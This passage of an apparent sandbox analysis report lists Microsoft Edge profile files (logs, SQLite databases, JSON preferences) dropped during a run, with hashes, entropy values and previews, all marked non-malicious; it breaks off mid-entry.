SHA-512:	939D36EA3CDD1E842592C170AA9E9C1B555853EB67199D712519F82413F16F8AF2C0EF46AC6D790F4FC56D144507AF5860A0137B1468DA50D2096E71620756DE
Malicious:	false
Preview:	2024/10/28-13:43:41.790 1c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/28-13:43:41.791 1c14 Recovering log #3.2024/10/28-13:43:41.796 1c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.156654826434904
Encrypted:	false
SSDEEP:	6:y1Z+q2P923oH+TcwtpIFUt8h16Zmw+h1WVkwO923oH+Tcwta/WLJ:CUv4YebmFUt8T6/+TG5LYebaUJ
MD5:	21416F0D12EB3BACDBA475246B42B214
SHA1:	5BA7D4A9C6DAB90958FF6C07367ECF6D8802B60D
SHA-256:	401723A73685F4B915790407F7D904C050829EC0BBD4134D8D682771EE5E8CB0
SHA-512:	6D1222E17B353F020DE0B57BAFD265E19245E4653929E24EF6947C8AF803F8E4E9888F3DDA0193281709064BC58B61A02A00C71F0E581F9EB957A90A7800FBC9
Malicious:	false
Preview:	2024/10/28-13:43:22.799 1ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/28-13:43:22.800 1ea8 Recovering log #3.2024/10/28-13:43:22.800 1ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.156654826434904
Encrypted:	false
SSDEEP:	6:y1Z+q2P923oH+TcwtpIFUt8h16Zmw+h1WVkwO923oH+Tcwta/WLJ:CUv4YebmFUt8T6/+TG5LYebaUJ
MD5:	21416F0D12EB3BACDBA475246B42B214
SHA1:	5BA7D4A9C6DAB90958FF6C07367ECF6D8802B60D
SHA-256:	401723A73685F4B915790407F7D904C050829EC0BBD4134D8D682771EE5E8CB0
SHA-512:	6D1222E17B353F020DE0B57BAFD265E19245E4653929E24EF6947C8AF803F8E4E9888F3DDA0193281709064BC58B61A02A00C71F0E581F9EB957A90A7800FBC9
Malicious:	false
Preview:	2024/10/28-13:43:22.799 1ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/28-13:43:22.800 1ea8 Recovering log #3.2024/10/28-13:43:22.800 1ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264906465398681
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMbSAELyKOMq+8yC8F/YfU5m+OlTLVumyr:Bq+n0Jb9ELyKOMq+8y9/Owzr
MD5:	0409E76A584993A656FD2F476C24896C
SHA1:	AAE6F61617CEF045A0C7C01CF276D0CE2C2F708E
SHA-256:	FE9EF6D1A9107EC54B2DEBC2EA6A428EC94D5BC07F2DED6CA0974E3CCD2F9C2F
SHA-512:	3EE0858A4A0749DCF609B631709B2458A24456B0087BB1E7AC3D1D0FA45D485B5F2F4B7137532001DC66FE9F628AB61137C557CA29DCDB14FA9C594B15606182
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46662946452993226
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB03bRE:v7doKsKuKZKlZNmu46yjx0e
MD5:	435E6B705F791275BFE74522AFE80DD1
SHA1:	4D60CD3E78AFA78540A6A53F534403DBD6E2C3A8
SHA-256:	996C5E993140DA2CC7C9469F5B3EF85A6879C655576496808D88EF38D24E17F6
SHA-512:	1062CD414E7388014279C815D72FD88852606E0CA74D1AC42724DC2ADB95D32A2C751412FB7BE9CEEFF48CAA0710CE81B41B92481E550D5D108D3BF413EDA252
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b83a62a9-0b7c-4ab0-ac9d-acdc9669154e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561074760727403
Encrypted:	false
SSDEEP:	768:MCywlA7pLGLpkmWPD/fta8F1+UoAYDCx9Tuqh0VfUC9xbog/OVen+N3jwrwG+lLE:MCywlMcpkmWPD/ftau1jajn+ljBG+lul
MD5:	892FE6641E737C5518A9095306004A6E
SHA1:	242932FD59B44384C21907D6512771A07E4C9601
SHA-256:	437BD4B5A9E12744CD4D8E5882363D1D901B9B38138EB2C4DC4DB77C69A58E8D
SHA-512:	C254C8915F3C9F568F7479D490433A6542DACE020CC8C4B73D33AB3581E659A7DF3582AA9132D8226D35C0D8990A52BCA3D2B80B3551A0DA6753B5B70DBDE79F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374611002741773","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374611002741773","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bc101266-aa99-4342-a846-de067c6116c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17319), with no line terminators
Category:	dropped
Size (bytes):	17320
Entropy (8bit):	5.479017596077893
Encrypted:	false
SSDEEP:	384:strPGQSu4Ssr9fhessu9bGL7QwM6WPlaTYR:sZOXuO9fDxbGLUv5aTYR
MD5:	0CAF94644660747549C5F595237FF670
SHA1:	59A0C5EB4837999F0B53CFB578555C2EBB007F23
SHA-256:	B1446E09285C03D90849CB3CF28D63413A80CB2EB734FF0CBD58E61F17E57298
SHA-512:	6E4C10BEA4A12B49AF144A0982894ADF21C2FB754E7BEBFF3F574F33D2791399EFFD9660598CF3725561F113E0659A2C0582611030FE82B041B2FF0CB9DE3291
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374611003411386","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1058720883166003
Encrypted:	false
SSDEEP:	12:Jntx4ntxrpEjVl/PnnnnnnnnnnnnvoQJEopmMl:Jntx4ntxNoPnnnnnnnnnnnnvjj9l
MD5:	4C045FB8C90C28A6737FA57E1F2907EF
SHA1:	BCA74AB649464962204484B3FF5A9DFBA382BE76
SHA-256:	447D47559B7B50D4E448333BCCFCD5040F6E8A52252BE6BD6B18C0B33EE40CDE
SHA-512:	0F9E49F1816262FE708707AB8DD7B91068562D45B08D0AC16F1ED3EC7F2EB8327C00D8B3D28F3FFD297D817294BD25F89758A3D34DEE2A5F0B5239888EB592C9
Malicious:	false
Preview:	..-.............Q.......P;.:[.{..4..}.....'b".q..-.............Q.......P;.:[.{..4..}.....'b".q........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9327625867353015
Encrypted:	false
SSDEEP:	384:G2qVePOpB3gYWw0dfKpeH1hkKh9IO3YbV9t4syiygVNV954byXyu6yxxy6W:QVeP45zlDkkcyk
MD5:	694970FE2CD364BF386AC0A9250EBA1C
SHA1:	4162C5D60A05CC0EF8978C818D285062E575728B
SHA-256:	489DA12074323012F007BEA0651545D07CDC6DF383CE2909ABD4879E1B8C3595
SHA-512:	0587258DB498B1753D2868C20F25E4C63955DEB27117A4E0E4C5FE0D7ABA7F5B23BA577E58D32809514D79BDE6FE481A8BF2A557E1AA89B78F0DB51FDA91A839
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.236695485697315
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuuBD83:iDJu
MD5:	24306D4610A81C408FF1E387679CBB29
SHA1:	BEA825FC34C2D44A62E12B149572D262435E28A6
SHA-256:	7661E138AD55CCDA6D099432D4C8DFFA3BBE641A3E013E53765BBB3D0DD0CC56
SHA-512:	B528DCAA0E5CD7F631CAAD08614D2BDB36CC2E9C9C286F206F57CA2E56D90DDF0F5D2FBEA786AC5037EEFE8B39FA0ED840BF026BF6B20247E7C63F615923918C
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................\X0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.225340487231839
Encrypted:	false
SSDEEP:	6:yF1yq2P923oH+TcwtfrK+IFUt8h61Zmw+hsRkwO923oH+TcwtfrUeLJ:Iyv4Yeb23FUt8e/+mR5LYeb3J
MD5:	2C6B7FC8F93A85989623FAE1636BE2A6
SHA1:	0D162496ADCF8C2FAA3FECAACA1347399D7BA019
SHA-256:	13306A8F3B179FD5D5E37371B94DA4F0288D32E1FAEE447E2B1D5A2B82696DE4
SHA-512:	4FFD06BF537D889F35C019A66A584AD1524AAA4AE7CEAD089AF4DC22C3B2C9CD98C19C7BC165FAD8FFC4E5C8B6D19A8414861066409A1429E90BB93011FE82E1
Malicious:	false
Preview:	2024/10/28-13:43:23.417 b94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/28-13:43:23.418 b94 Recovering log #3.2024/10/28-13:43:23.418 b94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.225340487231839
Encrypted:	false
SSDEEP:	6:yF1yq2P923oH+TcwtfrK+IFUt8h61Zmw+hsRkwO923oH+TcwtfrUeLJ:Iyv4Yeb23FUt8e/+mR5LYeb3J
MD5:	2C6B7FC8F93A85989623FAE1636BE2A6
SHA1:	0D162496ADCF8C2FAA3FECAACA1347399D7BA019
SHA-256:	13306A8F3B179FD5D5E37371B94DA4F0288D32E1FAEE447E2B1D5A2B82696DE4
SHA-512:	4FFD06BF537D889F35C019A66A584AD1524AAA4AE7CEAD089AF4DC22C3B2C9CD98C19C7BC165FAD8FFC4E5C8B6D19A8414861066409A1429E90BB93011FE82E1
Malicious:	false
Preview:	2024/10/28-13:43:23.417 b94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/28-13:43:23.418 b94 Recovering log #3.2024/10/28-13:43:23.418 b94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.210961671362731
Encrypted:	false
SSDEEP:	6:yYyq2P923oH+TcwtfrzAdIFUt8hCA3j1Zmw+hCA31RkwO923oH+TcwtfrzILJ:ryv4Yeb9FUt8n/+TR5LYeb2J
MD5:	9A786D4BCA53E86273122F452EEDF355
SHA1:	415297EF69B60A82BE11297C88632F55BCA1B930
SHA-256:	27F828AEDC8D1FC2B9DAD1B9D47203FA8B80670C27A0AAA39DEA359898A46750
SHA-512:	5228A34BB7DF00EBA46FD9252ECA0A3C1A966D53B84A2E0A145AAA074308754B03D10EE6C74A928F0C73627964C1ADFAC3866BE759C3F73DF13CA02ED6FAD99E
Malicious:	false
Preview:	2024/10/28-13:43:23.414 b94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/28-13:43:23.415 b94 Recovering log #3.2024/10/28-13:43:23.415 b94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.210961671362731
Encrypted:	false
SSDEEP:	6:yYyq2P923oH+TcwtfrzAdIFUt8hCA3j1Zmw+hCA31RkwO923oH+TcwtfrzILJ:ryv4Yeb9FUt8n/+TR5LYeb2J
MD5:	9A786D4BCA53E86273122F452EEDF355
SHA1:	415297EF69B60A82BE11297C88632F55BCA1B930
SHA-256:	27F828AEDC8D1FC2B9DAD1B9D47203FA8B80670C27A0AAA39DEA359898A46750
SHA-512:	5228A34BB7DF00EBA46FD9252ECA0A3C1A966D53B84A2E0A145AAA074308754B03D10EE6C74A928F0C73627964C1ADFAC3866BE759C3F73DF13CA02ED6FAD99E
Malicious:	false
Preview:	2024/10/28-13:43:23.414 b94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/28-13:43:23.415 b94 Recovering log #3.2024/10/28-13:43:23.415 b94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF376f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMRwuF9hDO6vP6O+ltbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd6stbz8hu3VlXr4CRo1
MD5:	BAEC291F464718CC9E6778BCEBEEACB0
SHA1:	A8FE9983436D8CF3467C5A45CFE89B3BD0CE0D31
SHA-256:	3FD6A22DE07B419BDEB7420656612E92D179478D1F05410F22980F806336C0E0
SHA-512:	5622E51B342F9A226367CED082E9899F7102E5B6B9878FDD8F1CEC8100EF1414244C52BA1D9622B1C4AD95C10E27801A6CF22CD9BD130B7A001C44339EDA5CC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37706.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09067746771702
Encrypted:	false
